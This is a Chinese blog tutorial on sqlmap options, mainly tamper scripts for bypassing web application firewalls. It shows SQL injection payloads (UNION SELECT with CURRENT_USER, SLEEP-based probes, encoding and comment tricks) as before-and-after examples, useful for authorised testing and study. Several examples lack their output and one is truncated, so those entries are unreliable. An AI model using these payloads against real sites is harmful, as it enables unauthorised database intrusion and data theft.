sqlmap常用技巧整理
言
通過在烏雲網上出現的很多SQL註入漏洞,因此來總結一下,大致使用SQLMAP所遇到的參數。
基本結構
基本SQLMAP的使用方式就如下所示,使用參數式的方式,按需求添加。
1
|
sqlmap.py -u "http:// *" --data="a=b" -p a --level 3 --random-agent --referer="a"
|
參數解釋
星號
在註入的過程中,有時候是偽靜態的頁面,可以使用星號表示可能存在註入的部分
–data
使用post方式提交的時候,就需要用到data參數了
-p
當我們已經事先知道哪一個參數存在註入就可以直接使用-p來指定,從而減少運行時間
–level
不同的level等級,SQLMAP所采用的策略也不近相同,當–level的參數設定為2或者2以上的時候,sqlmap會嘗試註入Cookie參數;當–level參數設定為3或者3以上的時候,會嘗試對User-Angent,referer進行註入。
–random-agent
使用該參數,SQLMAP會自動的添加useragent參數,如果你知道它要求你用某一種agent,你也應當用user-agent選項自己指定所需的agent
–technique
這個參數可以指定SQLMAP使用的探測技術,默認情況下會測試所有的方式。
支持的探測方式如下:
B: Boolean-based blind SQL injection(布爾型註入)
E: Error-based SQL injection(報錯型註入)
U: UNION query SQL injection(可聯合查詢註入)
S: Stacked queries SQL injection(可多語句查詢註入)
T: Time-based blind SQL injection(基於時間延遲註入)
–tamper
有些時候網站會過濾掉各種字符,可以用tamper來解決(對付某些waf時也有成效)
–tamper=”space2comment.py”
理論是用/**/代替空格,當然temper的選項還有很多
- apostrophemask.py
作用:用utf8代替引號
- equaltolike.py
作用:like 代替等號
Example:
1
|
Input: SELECT * FROM users WHERE id=1
|
- space2dash.py
作用:繞過過濾‘=’ 替換空格字符(”),(’ – ‘)後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’)
Example:
1
|
(‘1 AND 9227=9227‘) ‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘
|
- greatest.py
作用:繞過過濾’>’ ,用GREATEST替換大於號。
Example:
1
|
(‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘
|
- space2hash.py
作用:空格替換為#號 隨機字符串 以及換行符
Example:
1
|
Input: 1 AND 9227=9227
|
- apostrophenullencode.py
作用:繞過過濾雙引號,替換字符和雙引號。
Example:
1
|
tamper("1 AND ‘1‘=‘1") ‘1 AND %00%271%00%27=%00%271‘
|
- halfversionedmorekeywords.py
作用:當數據庫為mysql時繞過防火墻,每個關鍵字之前添加mysql版本評論
Example:
1
|
("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()
|
- space2morehash.py
作用:空格替換為 #號 以及更多隨機字符串 換行符
Example:
1
|
Input: 1 AND 9227=9227
|
- appendnullbyte.py
作用:在有效負荷結束位置加載零字節字符編碼
Example:
1
|
(‘1 AND 1=1‘) ‘1 AND 1=1%00‘
|
常用於access
- ifnull2ifisnull.py
作用:繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
Example:
1
|
(‘IFNULL(1, 2)‘) ‘IF(ISNULL(1),2,1)‘
|
- space2mssqlblank.py(mssql)
作用:空格替換為其它空符號
Example:
1
|
Input: SELECT id FROM users *
|
- base64encode.py
作用:用base64編碼替換 Example: (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all
- space2mssqlhash.py
作用:替換空格
Example:
1
|
(‘1 AND 9227=9227‘) ‘1%23%0AAND%23%0A9227=9227‘
|
- modsecurityversioned.py
作用:過濾空格,包含完整的查詢版本註釋
Example:
1
|
(‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘
|
- space2mysqlblank.py
作用:空格替換其它空白符號(mysql)
Example:
1
|
Input: SELECT id FROM users
|
- between.py
作用:用between替換大於號(>)
Example:
1
|
(‘1 AND A > B--‘) ‘1 AND A NOT BETWEEN 0 AND B--‘
|
- space2mysqldash.py
作用:替換空格字符(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)
註:之前有個mssql的 這個是mysql的
Example:
1
|
(‘1 AND 9227=9227‘) ‘1--%0AAND--%0A9227=9227‘
|
- multiplespaces.py
作用:圍繞SQL關鍵字添加多個空格
Example:
1
|
(‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘
|
- :space2plus.py
作用:用+替換空格
Example:
1
|
(‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘
|
- bluecoat.py
作用:代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=為like
Example:
1
|
(‘SELECT id FROM users where id = 1‘) ‘SELECT%09id FROM users where id LIKE 1‘
|
- nonrecursivereplacement.py
雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
Example:
1
|
(‘1 UNION SELECT 2--‘) ‘1 UNIOUNIONN SELESELECTCT 2--‘
|
- space2randomblank.py
作用:代替空格字符(“”)從一個隨機的空白字符可選字符的有效集
Example:
1
|
(‘SELECT id FROM users‘) ‘SELECT%0Did%0DFROM%0Ausers‘
|
- sp_password.py
作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾
Example:
1
|
(‘1 AND 9227=9227-- ‘) ‘1 AND 9227=9227-- sp\_password‘
|
- chardoubleencode.py
作用: 雙url編碼(不處理以編碼的)
Example:
1
|
Input: SELECT FIELD FROM%20TABLE
|
- unionalltounion.py
作用:替換UNION ALL SELECT UNION SELECT
Example:
1
|
(‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘
|
- charencode.py
作用:url編碼
Example:
1
|
Input: SELECT FIELD FROM%20TABLE
|
- randomcase.py
作用:隨機大小寫 Example:
1
|
Input: INSERT
|
- unmagicquotes.py
作用:寬字符繞過 GPC addslashes
Example:
1
|
Input: 1′ AND 1=1
|
- randomcomments.py
作用:用/**/分割sql關鍵字
Example:
1
|
‘INSERT’ becomes ‘IN//S//ERT’
|
- charunicodeencode.py
作用:字符串 unicode 編碼
Example:
1
|
Input: SELECT FIELD%20FROM TABLE
|
- securesphere.py
作用:追加特制的字符串
Example:
1
|
(‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘"
|
- versionedmorekeywords.py
作用:註釋繞過
Example:
1
|
Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
|
- space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
Example:
1
|
Input: SELECT id FROM users
|
- halfversionedmorekeywords.py
作用:關鍵字前加註釋
Example:
1
|
Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa
|
有時發現跑出的數據都是毫無意義的字符
解決方案:
a)SQLMAP會提示你加–hex或者–no-cast,有時會有幫助
b)如果你用的是time-based註射,建議增加延時–time-sec等參數,即使你的網速比較好,但是服務器可能遇見各種奇怪環境
c)增加level的數值
暴力猜表
針對access站可以構造common-tables.txt
顯示unable to connect to the target url
第一個可能是time-out設置的太小,出現問題,再有可能就是WAF直接把請求攔截掉了,因此得不到響應。
有些waf比較友善,過濾後會提示“參數不合法”,但是也有些waf則直接把請求攔下來無提示導致應答超時,這樣在測試時會消耗大量的時間等待響應
解決方案:減少time-out進行檢測,在跑數據時改回time-out
提示possible integer casting detected
如果是在手工測試,建議到這裏可以停止了,節省時間。
如果是在掃描器掃描的盲註,那麽到這裏堅決無視警告繼續下去。
參考文獻:
http://drops.wooyun.org/tools/4760
http://drops.wooyun.org/tips/143
http://www.2cto.com/Article/201306/223082.html
http://drops.wooyun.org/tips/5254
本文標題:sqlmap常用技巧整理
文章作者:Sherwel
發布時間:2016-02-25, 09:15:45
最後更新:2017-03-22, 00:12:08
原始鏈接:https://nanshihui.github.io/2016/02/25/sqlmaptips/
許可協議: "署名-非商用-相同方式共享 4.0" 轉載請保留原文鏈接及作者。
sqlmap常用技巧整理